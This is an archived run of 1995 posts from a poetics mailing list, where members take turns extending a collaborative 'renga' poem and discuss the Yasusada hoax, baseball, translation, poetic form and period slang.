Compensation: Anticipated hiring salary, mid $40's. Major benefits include 20 days annual accrued vacation; generous holiday and sick leave; choice of health plans; dental insurance; life insurance; disability benefits; University-funded retirement income plan; tax deferred annuity options; staff tuition assistance; child care scholarship program.

Applications will be accepted until the position is filled. Please submit a letter of application addressing qualifications, resume, and the names of three references to:

Hazel C. Stamps
Director of Personnel Services
Harvard College Library
Widener 188
Cambridge, MA 02138

HARVARD UNIVERSITY UPHOLDS A COMMITMENT TO AFFIRMATIVE ACTION AND EQUAL EMPLOYMENT OPPORTUNITY

July 31, 1995

↑ Index

365. Rod Smith
Re: Mitchel? Yasusada?
Thu 10 Aug 1995

A mess o' Yasusada material turned up in the recent _Grand Street_-- the contributors notes on the translators carefully avoid any traceable information--for example one of them studied "in Ann Arbor" not _at_ any particular university. (The work in _GS_ by the way, not as well done as other I've seen, I think).

A certain Kevin Mitchel keeps getting mentioned on this list, & we are aware of his time spent in Japan. . .
-Rod

↑ Index

366. Louis Cabri
(no subject)
Thu 10 Aug 1995

>In the books were dreams and in the dreams were books.
>And flew through windows, lightning green and fine morning
>would calmness be without the stain of possession and
>The book and the oboe on the grass under sun and cloud
>Go endlessly, an obtuse Prussian blue, it binds
>The caravan of windows to what they flee
>These lace curtains, more gauze than bondage, more
>Mollycoddled than aware, thin-spined and pebbling
>but narrow in the waist or waspish Sunday years ago
>Over coffee topped with whipped cream, the Times blowing
>& opining, heavy humid air, cumulus amusing against the
>bleached ribcage ripcorded into compassed wind
>kissing the weatherwoman between her breasts as she
>gives gracious problem: fanatical snacks, landscape of
>flicka my best friend and the storm in the glass of water's
>halfway pertinent incision we keep making safe for ignorance
> (inspection
>prickling with tenors, saving arrogance for free choice, long
  division
>with its equally long aftertaste, or did its overtone
>collapse a wild sugar ago the fleet of cabernet oblivions for
>outrage. Marketing posture allowed gravel a way home
>My dream a drink w/ Douglas Coupland. We discuss "The Code of
  the Net"

>and he is transparent like Victor the Vector getting home
>& Hector the Protector sent back by the Queen
>of Wands, who willed her magic to free political sentences
>and wake us from such dreams. He stayed in to practice
the cool float of heretocracy he'd read was poles apart from
    pastures
que j'essuie comme la loi, saisie, monstrueux

↑ Index

367. Louis Cabri

(no subject)

Thu 10 Aug 1995

> In the books were dreams and in the dreams were books.
> And flew through windows, lightning green and fine morning
> First inverted whistle of a cardinal in the poplar
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> gives gracious problem: fanatical snacks, landscape of
> flicka my best friend and the storm in the glass of water's
> halfway pertinent incision we keep making safe for ignorance
    (inspection
> denied for not knowing how credenza was meant) & neo-colonizing
> pockets in small furniture intended house sequentially several
> mountains away but it wasn't, you know, a big tango
> when the attorney general came, selah
  hales said, "Dias, oh,ho, kook!" Edward Kennedy
  Ellington! "Tootin' Through the Roof" Tobacco warehouse, curls

↑ Index

368. Susan Schultz
Re: Mitchellmania, Harpermania
Thu 10 Aug 1995

That bare-handed line drive, as I recall, was off the bat of Ozzie Smith. Didn't he also play for the Giants for a while? Ronald Reagan had some silly things to say about him when he (Reagan) did the "color" commentary on one of the All Star Games. That was when Reagan called a Hispanic player Jose (just how it's spelled, mind you).

signed, a sad Cardinals fan.

On Wed, 9 Aug 1995, Ron Silliman wrote:

> *Kevin Mitchell was the Most Valuable Player for the National League in 1989, I believe, the year he hit 47 homers to lead the league. He once caught a line drive in left field with his bare hand. But he did grow up in the San Diego ghetto and still hangs with his childhood buddies.*

↑ Index

369. maria damon
Re: ringing renga
Thu 10 Aug 1995

---

pangborn writes:
> Jorge writes,
> >it is racist in that it presumes that mexicans lack imagination
> >since the only thing that can stop renga is precisely the lack of
> >imagination. i am partly mexican and, as the famous corrido says, "que
> >siga la renga!"
>
> Aha: I thought Dodie might have meant that the offending post portrayed
> Russian
> caucasians like Trotsky as congenitally unable to keep from exploiting needy
> third-world lab technicians, setting up sweatshops despite his professedly
> communist political stance. Thanks for setting me straight on that.
>
is this anti-semitic?--md

↑ Index

370. **Burt Kimmelman**
Re: Baudelaire
Thu 10 Aug 1995

Gwyn,

then by close you mean somt

something like what Pound of St. Jerome prescribed for translating?

Burt

↑ Index

371. **Burt Kimmelman**
Re: Baudelaire
Thu 10 Aug 1995

Gwyn,

Forgive my typo: a misidentified "saint": change "Pound of St. Jerome" to Pound OR St. Jerome.

bk

↑ Index

372. **Jorge Guitart**
Re: your mail
Thu 10 Aug 1995

On Thu, 10 Aug 1995, Louis Cabri wrote:

> > In the books were dreams and in the dreams were books.
> > And flew through windows, lightning green and fine morning
> > First inverted whistle of a cardinal in the poplar
> > The book and the oboe on the grass under sun and cloud
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> > Mollycoddled than aware, thin-spined and pebbling
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> > Over coffee topped with whipped cream, the Times blowing
> > & opining, heavy humid air, cumulus amusing against the
> > bleached ribcage ripcorded into compassed wind
> > kissing the weatherwoman between her breasts as she
> > gives gracious problem: fanatical snacks, landscape of
> > flicka my best friend and the storm in the glass of water's

> > halfway pertinent incision we keep making safe for ignorance
> (inspection
> > denied for not knowing how credenza was meant) & neo-colonizing
> > pockets in small furniture intended house sequentially several
> > mountains away but it wasn't, you know, a big tango
> > when the attorney general came, selah hales said, "Dias, oh,ho, kook!"
Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco warehouse, curls
no ideas but the woven fabric the texture so to speak was at the dry cleaners

↑ Index

373. Charles Bernstein
Electronic Book Review: Essays & Reviews Wanted (fwrd)
Thu 10 Aug 1995

[forwarded message]

Announcing a new journal on the internet:

Electronic Book Review, a working forum promoting innovative writing on the internet and in print, is soliciting articles for the Fall of 1995. Initial topics will include talklists, network publishing, the political economy of the internet, and the electronic future of poetry, criticism, drama, and literary fiction.

Reviews should be both timely and capable of stimulating discussions beyond the moment of a title's publication. We would prefer thoughtful overviews, polemics, and review essays to evaluations of single works. Serial submissions of chapters from work in progress are welcome, and we will occasionally sponsor on-line publication of books in advance of their appearance in print.

Issue #1, scheduled for November, is being organized in collaboration with the *American Book Review*. It will feature reviews of selected electronic journals and talklists, as well as reflections on "books" that can only be read electronically. Essays of 1200-1500 words received by September 15 will be considered for this issue.

For issue #2, we are organizing an email essay forum around an original essay by Michael Berube, "Cultural Criticism and the Politics of Selling Out." Additional forums are scheduled for two collections of new writing: *Chick-Lit (On the Edge: New Women's Fiction)* [ed. Cris Mazza and Jeffrey DeShell] and *The Future of Literary Fiction* [ed. David Foster Wallace].

During the first year of operation, we will feature essays and reviews by Mark Amerika, Michael Berube, Linda Brigham, David Cassuto, Carolyn Guyer, Paul Harris, Katherine Hayles, Michael Joyce, Nancy Kaplan, Peter Krapp, Laura

Marks, Knut Mork, Marcos Novak, Martin Rosenberg, Alison Sainsbury, Ronald Sukenick, W. S. Wilson, Gregory Ulmer, and Walter Vaninni.

EBR will be stored at and distributed from Alt-X (located at http://www.altx.com).

Joseph Tabbi
English Department
University of Illinois
601 South Morgan Street
Chicago, Illinois 60607-7120
email inquiries: [redacted]

↑ Index

374. George Bowering
Re: JG others and us
Thu 10 Aug 1995

Hey, Maria, Right On!

I mean Far Out!

Yr Too Much in my book.

Hell, I think I say "Solid!" from time to time.
GB

↑ Index

375. George Bowering
Re: Mitchellmania, Harpermania
Thu 10 Aug 1995

What used to get baseball purists mad at Kevin Mitchell was that he had enormous skills but did not know much about baseball, and said that it was just the money he was interested in, and he was no baseball fan. I think that bothered his detractors more than his scrapes with the law.

↑ Index

376. George Bowering
Re: Renga 11
Thu 10 Aug 1995

In the books were dreams, and

↑ Index

377. Louis Cabri

pardonnez-moi! enfin, c'est la brume de 'traduction'...

Thu 10 Aug 1995

>In the books were dreams and in the dreams were books.
>And flew through windows, lightning green and fine morning
>would calmness be without the stain of possession and
>The book and the oboe on the grass under sun and cloud
>Go endlessly, an obtuse Prussian blue, it binds
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>gives gracious problem: fanatical snacks, landscape of
>flicka my best friend and the storm in the glass of water's
>halfway pertinent incision we keep making safe for ignorance
> (inspection
>prickling with tenors, saving arrogance for free choice, long
  division
>with its equally long aftertaste, or did its overtone
>collapse a wild sugar ago the fleet of cabernet oblivions for
>outrage. Marketing posture allowed gravel a way home
>My dream a drink w/ Douglas Coupland. We discuss "The Code of
  the Net"
>and he is transparent like Victor the Vector getting home
>& Hector the Protector sent back by the Queen
>of Wands, who willed her magic to free political sentences
>and wake us from such dreams. He stayed in to practice
the cool float of heretocracy he'd read was poles apart from
  pastures
que j'essuie comme la loi, saisie, monstrueuse

↑ Index

378. George Bowering

Re: avoidance behavior syndrome

Thu 10 Aug 1995

Well, no, I dont BELIEVE in guitar; but I do keep my miniature cactus collection in a 1966 Chet Atkins.

↑ Index

379. **Thomas Bell**
ARRORENGA
Thu 10 Aug 1995

Louis Cabri wrote

>In the books were dreams and in the dreams were books.
>And flew through windows, lightning green and fine morning
>would calmness be without the stain of possession and
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  the Net"
>and he is transparent like Victor the Vector getting home
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>and wake us from such dreams. He stayed in to practice
>the cool float of heretocracy he'd read was poles apart from
  pastures
>que j'essuie comme la loi, saisie, monstrueux
Mayakovky govoril o pants and the tailoring was fine

↑ Index

380. Sheila E. Murphy
Re: your mail
Thu 10 Aug 1995

>On Thu, 10 Aug 1995, Louis Cabri wrote:
>
>> > In the books were dreams and in the dreams were books.
>> > And flew through windows, lightning green and fine morning
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>> > denied for not knowing how credenza was meant) & neo-colonizing
>> > pockets in small furniture intended house sequentially several
>> > mountains away but it wasn't, you know, a big tango
>> > when the attorney general came, selah hales said, "Dias, oh,ho, kook!"
>Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco warehouse, curls
>no ideas but the woven fabric the texture so to speak was at the dry cleaners having recovered from the chemicals of deadlines drop stitched into

↑ Index

381. Tony Green
Re: JG others and us
Thu 10 Aug 1995

""Right On" Alan Sondheim"

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,

Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

↑ Index

382. Rachel Loden

Padgett's definition

Thu 10 Aug 1995

From _Handbook of Poetic Forms_, edited by Ron Padgett:

"Renga are long, image-filled poems written in alternating stanzas of three lines and two lines, usually by a group of poets who take turns. In Japan, where renga originated as a party game, poets used to make renga of 1,000 or more stanzas, although 100 stanzas was the usual length. The great poet Matsuo Basho (1644-1694) preferred renga of thirty-six stanzas, and this continues to be the popular length today. ...Renga do not read like stories; each stanza "links" to the one before it, but not to the one before that...The first six or eight stanzas are like the beginning of a party, when people introduce one another, a bit formally. In the middle twenty to twenty-four stanzas the party warms up, with stanzas that include humor and the whole range of human emotions. A renga ends with six or eight stanzas that move quickly through closely related images, with simple, straightforward linking, like the end of the party, when everyone gets ready to go home. Traditionally, the last stanza has a spring image, indicating hopefulness and peace..." Etc., including examples.

I'm finding many of the posted "renga" lines very graceful, and am all for playfulness, the posting of poems, use of received forms. But does anyone else find it weird, at least, that we are writing so-called renga, and kvetching about so-called renga, when for the most part we have no idea what they are?

And is it the "exoticism" of renga (the non-whiteness of them?) that makes them glam enough for us to fool around with, when for the most part, we wouldn't be caught dead in the McCarthyite "market strategy" of sonnet-writing (Ted Berrigan and others notwithstanding)?

Thought I'd ask...

Rachel Loden

↑ Index

383. **Ryan Knighton**
Re: Renga 11
Thu 10 Aug 1995

In your dreams
>
> In the books were dreams, and
>

↑ Index

384. **Ryan Knighton**
Re: JG others and us
Thu 10 Aug 1995

Gee, I suppose swell is too square, eh? I dunno, I'm a seventies child polluted by eighties lingo. Choice language, for bitchin folk. What about nifty? Or is that fifties, daddyo?

↑ Index

385. **Alan Sondheim**
Re: Padgett's definition
Thu 10 Aug 1995

Not to be caught dead, oh sonneteer
As if the wound festers, disease
Or other thing, a faulty ear
Hearing what politicians please
To call their own, discomfort
In our postmodernity
While gallantly we reinsert
Ignorance as prosperity.
There's politics in everything we do
Beyond the obvious; the obvious, not so
Although the obvious is never true
I'd think, at least in email, imho.
Cut the ranks of renga's weary tone,
Our ignorance, or throw the form a bone.

↑ Index

386. Rachel Loden
"*marketing strategies*"
Thu 10 Aug 1995

Herb Levy,

I'm coming in very late on this, but was quite intrigued by what you had to say about the writing of sonnets being possible today only as a "marketing strategy." (Forgive me if I'm not quoting you exactly, but I think I have the sense).

First, could you define "marketing strategy"? How does it
differ from style, say, or any other honey we use, as writers,
to catch flies?

The writing of the new formalists hasn't interested me, but not because they *are* formalists--rather because the poems themselves have seemed warmed-over and bland.

It seems to me that theory, not form, is the real marketing strategy, in literature at least. In science a theory is used to test a hypothesis, but in literature theory is used, far too often, to carry a whole school of writers--the bad along with the good--into prominence. It is used as an excuse to stop thinking, to stop reading widely, to circle the wagons. It is, essentially, fear, in an intellectual form. Rather than testing a hypothesis, and breaking new ground, theory in literary hands seems to be used as an instrument of enforcement, prescribing the sorts of poems (or fictions or whatever) which are to be written.

I was fascinated when someone on this list, looking for the almost mythical Cap-l, land of the new formalists, said that what they wanted was (paraphrased) a real snail darter, McCarthyite, sonnet-writing list (wish I could quote exactly, it was beautifully expressed). Disappointingly, the new formalists don't seem to be over there, although an increasingly Talmudic discussion of metrics among *old* formalists led to frustrated explosions from other members of the list, and then to silence. Still, the longing was there, for the *other*, whatever weird web-footed creature that might be. In fact, the most interesting thing that did happen on Cap-l, before its apparent demise, was a dialogue between Ron Silliman and Alfred Corn on "parallel traditions" in which I learned vastly more about Silliman's work than I ever have on POETICS. Why might that be?

More questions, asked with affection and respect...

Rachel Loden

↑ Index

387. **Jim Pangborn**
Re: ringing renga
Thu 10 Aug 1995

---

maria damon writes,
> pangborn writes:
>> Aha: I thought Dodie might have meant that the offending post portrayed
>> Russian
>> caucasians like Trotsky as congenitally unable to keep from exploiting needy
>> third-world lab technicians, setting up sweatshops despite his professedly
>> communist political stance. Thanks for setting me straight on that.
>
> is this anti-semitic?--md

Yikes--flames smart, and smart flames smart the more smartly.

But no, not anti-semitic except to those who think of semites as a race. They're no more so than are Mexicans--which is what I was kidding about before Jorge decided, in all sincerity, that he had to spell it all out.

Dig: that irony gets all over everything around here. Like the dude says in _The Electric Kool-Aid Acid Test_, like, if you mess with it you're gonna get some on ya, like, like it or not, dude.

--Jim

↑ Index

388. **Steve Carll**
Re: JG others and us
Fri 11 Aug 1995

>pangborn writes:
>> Tony Green <[redacted]> asks:
>> >
>> >to Alam Sondheim (& Survivors - of the 60s/70s all) is it still cool
>> >to say Right On?
>> >
>>
>> No. Say that and I promise I'll punch your lights out.
>>
> excuse me i say right on and groovy all the time. others impute an irony to my
>using those phrases (assuming no one could say them "straight" anymore), but i'm

>just saying it. saying it. saying it. come to mpls and i'll say it for you a
>coupla times. or rather, since i'm going on sabbatical, come to cape cod (YAY!)
>and i'll say it for you a coupla times.--md

Certain phenomena, I would argue, can only be adequately described (and "adequately" is a judgment call on my part, of course) by the use of the word "groovy." So, right on, Maria, I'm with you. (In spirit only, natch.)

Steve

↑ Index

389. Thomas Bell
Re: Padgett's definition
Fri 11 Aug 1995

From what I have seen the point is that this is a transformation of the "renga" to a contemporary electronic medium. there are patterns and traditions evolving here.

Or, renga-ignorance is bliss.
Tom Bell

↑ Index

390. Thomas Bell
Your Mail
Fri 11 Aug 1995

Sheila E. Murphy wrote:

->On Thu, 10 Aug 1995, Louis Cabri wrote:
->
->> > In the books were dreams and in the dreams were books.
->> > And flew through windows, lightning green and fine morning
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->Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco warehouse,
->curls
->no ideas but the woven fabric the texture so to speak was at the dry
->cleaners
->having recovered from the chemicals of deadlines drop stitched into
the ball Kevin Mitchell bare
handed. Baseball sold
out. cash stricken striked.
Would that as a poet I had
the chance to do something like

↑ Index

391. Sheila E. Murphy

Re: your mail

Fri 11 Aug 1995

>On Thu, 10 Aug 1995, Louis Cabri wrote:
>
>> > In the books were dreams and in the dreams were books.
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>> > gives gracious problem: fanatical snacks, landscape of
>> > flicka my best friend and the storm in the glass of water's

>> > halfway pertinent incision we keep making safe for ignorance
>> (inspection
>> > denied for not knowing how credenza was meant) & neo-colonizing
>> > pockets in small furniture intended house sequentially several
>> > mountains away but it wasn't, you know, a big tango
>> > when the attorney general came, selah hales said, "Dias, oh,ho, kook!"
>Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco warehouse, curls
>no ideas but the woven fabric the texture so to speak was at the dry cleaners piping hot and gloved-in somewhere unsalted, perched on prescience
>

↑ Index

392. Anmarie Trimble
Re: JG others and us
Fri 11 Aug 1995

> *Gee, I suppose swell is too square, eh? I dunno, I'm a seventies child polluted by eighties lingo. Choice language, for bitchin folk. What about nifty? Or is that fifties, daddyo?*

Way! Say anything but dude.

↑ Index

393. Thomas Bell
Your Mail
Fri 11 Aug 1995

Sheila E.

Murphy wrote:

->On Thu, 10 Aug 1995, Louis Cabri wrote:
->
->> > In the books were dreams and in the dreams were books.
->> > And flew through windows, lightning green and fine morning
->> > First inverted whistle of a cardinal in the poplar
->> > The book and the oboe on the grass under sun and cloud
->> > Go endlessly, an obtuse Prussian blue, it binds
->> > The caravan of windows to what they flee
->> > These lace curtains, more gauze than bondage, more
->> > Mollycoddled than aware, thin-spined and pebbling
->> > but narrow in the waist or waspish Sunday years ago
->> > Over coffee topped with whipped cream, the Times blowing
->> > & opining, heavy humid air, cumulus amusing against the

->> > bleached ribcage ripcorded into compassed wind
->> > kissing the weatherwoman between her breasts as she
->> > gives gracious problem: fanatical snacks, landscape of
->> > flicka my best friend and the storm in the glass of water's
->> > halfway pertinent incision we keep making safe for ignorance
->> (inspection
->> > denied for not knowing how credenza was meant) & neo-colonizing
->> > pockets in small furniture intended house sequentially several
->> > mountains away but it wasn't, you know, a big tango
->> > when the attorney general came, selah hales said, "Dias, oh,ho, kook!"
->Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco warehouse,
->curls
->no ideas but the woven fabric the texture so to speak was at the dry
->cleaners
->having recovered from the chemicals of deadlines drop stitched into
the ball Kevin Mitchell bare
handed. Baseball sold
out. cash stricken striked.
Would that as a poet I had
the chance to do something like

↑ Index

394. Charles Alexander
why renga, why not sonnet?
Fri 11 Aug 1995

In response to Rachel Loden's

> *And is it the "exoticism" of renga (the non-whiteness of them?) that makes them glam enough for us to fool around with, when for the most part, we wouldn't be caught dead in the McCarthyite "market strategy" of sonnet-writing (Ted Berrigan and others notwithstanding)?*
>
> *Thought I'd ask...*

Possibly, but I think people basically are getting some joy from inventing lines of poetry (and yes, many graceful, intriguing ones) and from the people with whom they are inventing -- whether it be renga or sonnet or villanelle. Although perhaps no matter what the form, we would be circumventing and developing it wholly without consideration of what its historical shape and function are.

Rachel, does Padgett say or imply then, that in a traditional renga, alternating stanzas are written by different poets, rather than alternate lines being written by different poets?

all best,
charles

charles alexander
chax press
phone & fax: [redacted]
e-mail: [redacted]

```
[===========^^============]
[        <>        ]
[  maybe a  <>  pages    ]
[    time  <>  letters   ]
[    upon  <>  frames    ]
[    once  <>  motion    ]
[        <>        ]
[===========vv============]
```

↑ Index

395. **Charles Alexander**

Re: Your Mail

Fri 11 Aug 1995

In the books were dreams and in the dreams were books.
And flew through windows, lightning green and fine morning
First inverted whistle of a cardinal in the poplar
The book and the oboe on the grass under sun and cloud
Go endlessly, an obtuse Prussian blue, it binds
The caravan of windows to what they flee
These lace curtains, more gauze than bondage, more
Mollycoddled than aware, thin-spined and pebbling
but narrow in the waist or waspish Sunday years ago
Over coffee topped with whipped cream, the Times blowing
& opining, heavy humid air, cumulus amusing against the
bleached ribcage ripcorded into compassed wind
kissing the weatherwoman between her breasts as she
gives gracious problem: fanatical snacks, landscape of
flicka my best friend and the storm in the glass of water's
halfway pertinent incision we keep making safe for ignorance (inspection
denied for not knowing how credenza was meant) & neo-colonizing
pockets in small furniture intended house sequentially several
mountains away but it wasn't, you know, a big tango
when the attorney general came, selah hales said, "Dias, oh,ho, kook!"
Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco warehouse, curls
no ideas but the woven fabric the texture so to speak was at the dry cleaners
having recovered from the chemicals of deadlines drop stitched into
the ball Kevin Mitchell bare
handed. Baseball sold

out. cash stricken striked.
Would that as a poet I had
the chance to do something like

grace the outfield, hands bare
from ringing, washing scales
of passion's conformity never
minding a green surface, far
cry from eternity, kitchen table

↑ Index

396. **Alan Sondheim**
Re: JG others and us
Fri 11 Aug 1995

There was a book about a decade ago - The 60s without Apology I think) (edited by Stanley Aronowitz - I forget the details) with an article on 60s language, its relation to the body, its body-centeredness (body- states, meanderings) - and how these terms have been lost as the body's been resutured, recuperated as Kristeva's clean and proper body (my own interpretation, see Powers of Horror), everything conjoined once again. So that JG and others can be seen in light of that, re: Blake again, the open body, vibes, a language breaking through language, report from the flesh - Alan -

↑ Index

397. **Jorge Guitart**
Re: ARRORENGA
Fri 11 Aug 1995

On Thu, 10 Aug 1995, Thomas Bell wrote:

> *Louis Cabri wrote*
>
> *In the books were dreams and in the dreams were books.*
> *And flew through windows, lightning green and fine morning*
> *would calmness be without the stain of possession and*
> *The book and the oboe on the grass under sun and cloud*
> *Go endlessly, an obtuse Prussian blue, it binds*
> *The caravan of windows to what they flee*
> *These lace curtains, more gauze than bondage, more*
> *Mollycoddled than aware, thin-spined and pebbling*
> *but narrow in the waist or waspish Sunday years ago*
> *Over coffee topped with whipped cream, the Times blowing*
> *& opining, heavy humid air, cumulus amusing against the*
> *bleached ribcage ripcorded into compassed wind*

> *kissing the weatherwoman between her breasts as she*
> *gives gracious problem: fanatical snacks, landscape of*
> *flicka my best friend and the storm in the glass of water's*
> *halfway pertinent incision we keep making safe for ignorance (inspection*
> *prickling with tenors, saving arrogance for free choice, long division*
> *with its equally long aftertaste, or did its overtone*
> *collapse a wild sugar ago the fleet of cabernet oblivions for*
> *outrage. Marketing posture allowed gravel a way home*
> *My dream a drink w/ Douglas Coupland. We discuss "The Code of the Net"*
> *and he is transparent like Victor the Vector getting home*
> *& Hector the Protector sent back by the Queen*
> *of Wands, who willed her magic to free political sentences*
> *and wake us from such dreams. He stayed in to practice*
> *the cool float of heretocracy he'd read was poles apart from pastures*
> *que j'essuie comme la loi, saisie, monstrueux*
> *Mayakovky govoril o pants and the tailoring was fine*
> *in d.s. where [[no one] [didn't like sarah lee]] hated her. An*

↑ Index

398. Jorge Guitart
Re: your mail
Fri 11 Aug 1995

On Thu, 10 Aug 1995, Sheila E. Murphy wrote:

> *On Thu, 10 Aug 1995, Louis Cabri wrote:*
>
> *In the books were dreams and in the dreams were books.*
> *And flew through windows, lightning green and fine morning*
> *First inverted whistle of a cardinal in the poplar*
> *The book and the oboe on the grass under sun and cloud*
> *Go endlessly, an obtuse Prussian blue, it binds*
> *The caravan of windows to what they flee*
> *These lace curtains, more gauze than bondage, more*
> *Mollycoddled than aware, thin-spined and pebbling*
> *but narrow in the waist or waspish Sunday years ago*
> *Over coffee topped with whipped cream, the Times blowing*
> *& opining, heavy humid air, cumulus amusing against the*
> *bleached ribcage ripcorded into compassed wind*
> *kissing the weatherwoman between her breasts as she*
> *gives gracious problem: fanatical snacks, landscape of*
> *flicka my best friend and the storm in the glass of water's*
> *halfway pertinent incision we keep making safe for ignorance (inspection*

> *denied for not knowing how credenza was meant) & neo-colonizing*
> *pockets in small furniture intended house sequentially several*
> *mountains away but it wasn't, you know, a big tango*
> *when the attorney general came, selah hales said, "Dias, oh,ho, kook!"*
> *Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco warehouse, curls*
> *no ideas but the woven fabric the texture so to speak was at the dry cleaners*
> *having recovered from the chemicals of deadlines drop stitched into*
> *the mowers that be cut here cut and find your motionlessness you'd only*

↑ Index

399. **Jorge Guitart**

Re: Padgett's definition

Fri 11 Aug 1995

Welcome Rachel and thanks.

Another nonwhite thing which (unlike amateur (i.e. `lover') renga) is marketable is the pantoum. We should look into that.

So long as I "have" "my" `coffee' `I' will not be `caught' "dead " in the "marketplace" `of' "ideas".

Query: Who was the McCarthy who wrote sonnets or promoted them?

On Thu, 10 Aug 1995, Rachel Loden wrote:

> *From _Handbook of Poetic Forms_, edited by Ron Padgett:*
>
> *"Renga are long, image-filled poems written in alternating*
> *stanzas of three lines and two lines, usually by a group of*
> *poets who take turns. In Japan, where renga originated as a*
> *party game, poets used to make renga of 1,000 or more*
> *stanzas, although 100 stanzas was the usual length. The great*
> *poet Matsuo Basho (1644-1694) preferred renga of thirty-six*
> *stanzas, and this continues to be the popular length today.*
> *...Renga do not read like stories; each stanza "links" to*
> *the one before it, but not to the one before that...The first*
> *six or eight stanzas are like the beginning of a party, when*
> *people introduce one another, a bit formally. In the middle*
> *twenty to twenty-four stanzas the party warms up, with stanzas*
> *that include humor and the whole range of human emotions. A*
> *renga ends with six or eight stanzas that move quickly through*
> *closely related images, with simple, straightforward linking,*
> *like the end of the party, when everyone gets ready to go home.*
> *Traditionally, the last stanza has a spring image, indicating*
> *hopefulness and peace..." Etc., including examples.*
>
> *I'm finding many of the posted "renga" lines very graceful, and*
> *am all for playfulness, the posting of poems, use of received*

> *forms. But does anyone else find it weird, at least, that we*
> *are writing so-called renga, and kvetching about so-called*
> *renga, when for the most part we have no idea what they are?*
>
> *And is it the "exoticism" of renga (the non-whiteness of them?)*
> *that makes them glam enough for us to fool around with, when*
> *for the most part, we wouldn't be caught dead in the McCarthyite*
> *"market strategy" of sonnet-writing (Ted Berrigan and others*
> *notwithstanding)?*
>
> *Thought I'd ask...*
>
> *Rachel Loden*

↑ Index

400. **Jorge Guitart**

Re: pardonnez-moi! enfin, c'est la brume de 'traduction'...

Fri 11 Aug 1995

On Thu, 10 Aug 1995, Louis Cabri wrote:

> >In the books were dreams and in the dreams were books.
> >And flew through windows, lightning green and fine morning
> >would calmness be without the stain of possession and
> >The book and the oboe on the grass under sun and cloud
> >Go endlessly, an obtuse Prussian blue, it binds
> >The caravan of windows to what they flee
> >These lace curtains, more gauze than bondage, more
> >Mollycoddled than aware, thin-spined and pebbling
> >but narrow in the waist or waspish Sunday years ago
> >Over coffee topped with whipped cream, the Times blowing
> >& opining, heavy humid air, cumulus amusing against the
> >bleached ribcage ripcorded into compassed wind
> >kissing the weatherwoman between her breasts as she
> >gives gracious problem: fanatical snacks, landscape of
> >flicka my best friend and the storm in the glass of water's
> >halfway pertinent incision we keep making safe for ignorance
> > (inspection
> >prickling with tenors, saving arrogance for free choice, long
> division
> >with its equally long aftertaste, or did its overtone
> >collapse a wild sugar ago the fleet of cabernet oblivions for
> >outrage. Marketing posture allowed gravel a way home
> >My dream a drink w/ Douglas Coupland. We discuss "The Code of

> the Net"
> >and he is transparent like Victor the Vector getting home
> >& Hector the Protector sent back by the Queen
> >of Wands, who willed her magic to free political sentences
> >and wake us from such dreams. He stayed in to practice
> the cool float of heretocracy he'd read was poles apart from
> pastures
> que j'essuie comme la loi, saisie, monstrueuse
chartreuse et delicieuse but let's get to business and see what

↑ Index

401. Jorge Guitart

Re: your mail

Fri 11 Aug 1995

On Thu, 10 Aug 1995, Sheila E. Murphy wrote:

> >On Thu, 10 Aug 1995, Louis Cabri wrote:
> >
> >> > In the books were dreams and in the dreams were books.
> >> > And flew through windows, lightning green and fine morning
> >> > First inverted whistle of a cardinal in the poplar
> >> > The book and the oboe on the grass under sun and cloud
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> >> > Mollycoddled than aware, thin-spined and pebbling
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> >> > Over coffee topped with whipped cream, the Times blowing
> >> > & opining, heavy humid air, cumulus amusing against the
> >> > bleached ribcage ripcorded into compassed wind
> >> > kissing the weatherwoman between her breasts as she
> >> > gives gracious problem: fanatical snacks, landscape of
> >> > flicka my best friend and the storm in the glass of water's
> >> > halfway pertinent incision we keep making safe for ignorance
> >> (inspection
> >> > denied for not knowing how credenza was meant) & neo-colonizing
> >> > pockets in small furniture intended house sequentially several
> >> > mountains away but it wasn't, you know, a big tango
> >> > when the attorney general came, selah hales said, "Dias, oh,ho, kook!"
> >Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco warehouse, curls
> >no ideas but the woven fabric the texture so to speak was at the dry

cleaners
> piping hot and gloved-in somewhere unsalted, perched on prescience
the day the earth stood still and Klaatu & Gort had a party on the ship
>

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402. **Gwyn McVay**
Re: Baudelaire
Fri 11 Aug 1995

On Thu, 10 Aug 1995, Burt Kimmelman [redacted] wrote:

> *Forgive my typo: a misidentified "saint": change "Pound of St. Jerome" to Pound OR St. Jerome.*

On the contrary, Burt, I think the typo is awfully interesting, and I plan to free-associate on "a pound of St. Jerome" later. Is worth an ounce of = ??

Gwyn

↑ Index

403. **maria damon**
Re: Mitchellmania, Harpermania
Fri 11 Aug 1995

In message <[redacted]> UB Poetics discussion group
writes:
> What used to get baseball purists mad at Kevin Mitchell was that he
> had enormous skills but did not know much about baseball, and said
> that it was just the money he was interested in, and he was no
> baseball fan. I think that bothered his detractors more than his
> scrapes with the law.

wow, that actually makes him sound rather interesting to me. what were his scrapes w/ the law?--md

↑ Index

404. **maria damon**
Re: ARRORENGA
Fri 11 Aug 1995

In message <[redacted]> UB Poetics discussion group writes:
> Louis Cabri wrote
>

> >In the books were dreams and in the dreams were books.
> >And flew through windows, lightning green and fine morning
> >would calmness be without the stain of possession and
> >The book and the oboe on the grass under sun and cloud
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> >Mollycoddled than aware, thin-spined and pebbling
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> >bleached ribcage ripcorded into compassed wind
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> >flicka my best friend and the storm in the glass of water's
> >halfway pertinent incision we keep making safe for ignorance
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> >prickling with tenors, saving arrogance for free choice, long
> division
> >with its equally long aftertaste, or did its overtone
> >collapse a wild sugar ago the fleet of cabernet oblivions for
> >outrage. Marketing posture allowed gravel a way home
> >My dream a drink w/ Douglas Coupland. We discuss "The Code of
> the Net"
> >and he is transparent like Victor the Vector getting home
> >& Hector the Protector sent back by the Queen
> >of Wands, who willed her magic to free political sentences
> >and wake us from such dreams. He stayed in to practice
> >the cool float of heretocracy he'd read was poles apart from
> pastures
> >que j'essuie comme la loi, saisie, monstrueux
> Mayakovky govoril o pants and the tailoring was fine
and i saw, believe it or not, what mankind believes itself to have seen

↑ Index

